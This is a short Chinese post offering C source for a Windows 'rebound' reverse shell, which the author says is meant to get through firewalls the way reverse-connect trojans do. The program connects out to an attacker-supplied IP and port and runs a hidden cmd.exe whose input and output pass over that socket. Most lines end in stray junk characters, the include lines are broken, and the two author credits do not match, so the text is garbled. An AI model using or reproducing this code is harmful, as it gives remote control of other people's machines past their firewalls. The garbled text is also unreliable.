这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T,OwM\`.X{
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/* ============================== W$Yc'E
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Rebound port in Windows NT Pv+5K*"7Cg
By wind,2006/7 )&<=.q
===============================*/ w7n373y%
#include y tf b$;|
#include \yGsr Bl
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#pragma comment(lib,"wsock32.lib") V)i5=bHC
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void OutputShell(); |s)?cpb
SOCKET sClient; 2',w[I
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BiZ=${y
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void main(int argc,char **argv) ii0Ce}8d~
{ wB{;bB{
WSADATA stWsaData; q;wLa#4)J
int nRet; "A)("
SOCKADDR_IN stSaiClient,stSaiServer; xN@Pz)yo
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if(argc != 3) oejfU;+$
{ }O4se"xK
printf("Useage:\n\rRebound DestIP DestPort\n"); Ep4Hqx $
return; FHPXu59u
} eVcANP
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WSAStartup(MAKEWORD(2,2),&stWsaData); W Qc>
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q!FLR>8
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stSaiClient.sin_family = AF_INET; [|3>MZ2/
stSaiClient.sin_port = htons(0); rqlc2m,<-p
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Px>va01n
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) j9/-"dTL
{ m%8qZzqk
printf("Bind Socket Failed!\n"); 8g>b
return; 0J8K9rP;z
} nB ". '=
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stSaiServer.sin_family = AF_INET; =4 X]gW
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T^}
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1SV^ ){5I
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) U^Tp6vN d
{ 7a$G@
printf("Connect Error!"); 8%~t
return; FCc=e{
} ?oiKVL"7
OutputShell(); k 2%S`/:
} qUF1XJZ}z
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void OutputShell() lKEa)KF[
{ KIVH!2q;
char szBuff[1024]; p'{xoV
SECURITY_ATTRIBUTES stSecurityAttributes; b r,+45:
OSVERSIONINFO stOsversionInfo; r++i=SQax
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s-VSH
STARTUPINFO stStartupInfo; )J3kxmlzQ
char *szShell; Cv=GZGn-
PROCESS_INFORMATION stProcessInformation; !)Rr]
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unsigned long lBytesRead; .#5l$['
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y02u?wJ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <V_7|)'/A
stSecurityAttributes.lpSecurityDescriptor = 0; $X+u={]
stSecurityAttributes.bInheritHandle = TRUE; 1;W=!Fx
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); twk&-:'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2go>
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); b5e@oIK
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 77:'I
stStartupInfo.wShowWindow = SW_HIDE; :nQp.N*p
stStartupInfo.hStdInput = hReadPipe; O=jN&<rb
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; C 7nKk/r
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GetVersionEx(&stOsversionInfo); ?(im+2
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switch(stOsversionInfo.dwPlatformId) +|C[-W7Sw
{ Ud3""C5B
case 1: BGjb`U#%3
szShell = "command.com"; *PM}"s
break; \].J-^=
default: {:Vf0Mhb
szShell = "cmd.exe"; IM-`<~(I#
break; ~|)
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} L=7rDW)aa
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =[(1my7
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send(sClient,szMsg,77,0); _@ i>s,
while(1) |@`"F5@,
{ 0MpS4tW0=
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w4:<fnOM
if(lBytesRead) ]A!.9Ko}u
{ v>WB FvyD
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); a8h]n:!
send(sClient,szBuff,lBytesRead,0); 4
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} &] 3:D
else I>((o`
{ SLA#= K
lBytesRead=recv(sClient,szBuff,1024,0); 31 ]7z
if(lBytesRead<=0) break; D_aR\
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !Y%D
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} deM~[1e[
} %vc'{`P
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return; :GM#&*$2<
}